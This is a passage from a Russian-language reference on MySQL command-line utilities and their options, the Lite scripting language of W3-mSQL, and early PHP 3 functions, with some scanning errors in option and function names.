    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

